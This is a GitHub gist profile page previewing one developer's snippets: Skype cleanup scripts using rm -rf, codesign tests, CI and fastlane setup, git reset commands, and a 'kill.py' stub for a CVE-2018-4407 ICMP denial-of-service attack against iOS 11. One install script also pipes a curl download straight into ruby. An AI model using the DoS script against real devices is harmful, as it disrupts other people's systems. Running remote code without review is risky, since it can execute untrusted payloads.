Skip to content

Instantly share code, notes, and snippets.

View oboje's full-sized avatar
🎯
Focusing

Igor Popov oboje

🎯
Focusing
  • New York
View GitHub Profile
#!/bin/bash
rm -rf ~/Preferences/com.microsoft.SkypeForBusiness.plist
rm -rf ~/PLibrary/Containers/com.microsoft.SkypeForBusiness
rm -rf ~/Library/Logs/LwaTracing
rm -rf ~/Saved Application State/com.microsoft.SkypeForBusiness.savedState
rm -rf ~/Preferences/com.microsoft.SkypeForBusiness.plist
#!/bin/bash
rm -rf ~/Preferences/com.microsoft.SkypeForBusiness.plist
rm -rf ~/PLibrary/Containers/com.microsoft.SkypeForBusiness
rm -rf ~/Library/Logs/LwaTracing
rm -rf ~/Saved Application State/com.microsoft.SkypeForBusiness.savedState
rm -rf ~/Preferences/com.microsoft.SkypeForBusiness.plist
@oboje
oboje / codesing_tests.sh
Last active October 4, 2018 12:14
codesign tests
#!/usr/bin/env bash
app="test.app"
#shows sign info
codesign -dv $app
payload2="YourApp.app/embedded.mobileprovision"
#get sign info 2
@oboje
oboje / RAC_Samples.m
Created October 12, 2018 08:19 — forked from hsavit1/RAC_Samples.m
101 RAC Sample
//
// main.m
// 101RACSamples
//
// Created by Matthew Doig on 1/26/14.
// Copyright (c) 2014 DWI. All rights reserved.
//
#pragma mark Asynchronous operators
@oboje
oboje / kill.py
Created November 6, 2018 19:24
iOS 11 kill
# CVE-2018-4407 ICMP DOS
from scapy.layers.inet import IPOption, TCP, IP
from scapy.all import *
from scapy import *
if __name__ == '__main__':
try:
check_ip = sys.argv[1]
print('CVE-2018-4407 ICMP DOS - ' + check_ip)
@oboje
oboje / app_install_flow.sh
Last active November 9, 2018 13:10
macOS tools install flow
#!/bin/bash
/usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
#
sudo gem install fastlane -NV
#
sudo gem install cocoapods
#
gem install xcode-install
#
export LANG=en_US.UTF-8
export LANGUAGE=en_US.UTF-8
export LC_ALL=en_US.UTF-8
ENVS=~/env
PATH_SCRIPTS="/Users/igorpopov/Library/Mobile Documents/com~apple~CloudDocs/Scripts/"
# path
export PATH=~/scripts/:$PATH:~/work/scripts/:$ENVS:$PATH_SCRIPTS
# parse envs
@oboje
oboje / repo-rinse.sh
Created February 19, 2019 14:32 — forked from nicktoumpelis/repo-rinse.sh
Cleans and resets a git repo and its submodules
git clean -xfd
git submodule foreach --recursive git clean -xfd
git reset --hard
git submodule foreach --recursive git reset --hard
git submodule update --init --recursive
version: 2
# TODO: get rid of ios/ in paths
jobs:
build-and-test:
macos:
xcode: "11.0"
steps:
- attach_workspace:
@oboje
oboje / gist:9eb044a2b3db5a0a9fc2837707d07221
Created October 29, 2019 13:10
Managing iOS simulators via fastlane
irb
require 'fastlane_core/device_manager'
FastlaneCore::Simulator.delete_all_by_version(os_version: "12.4")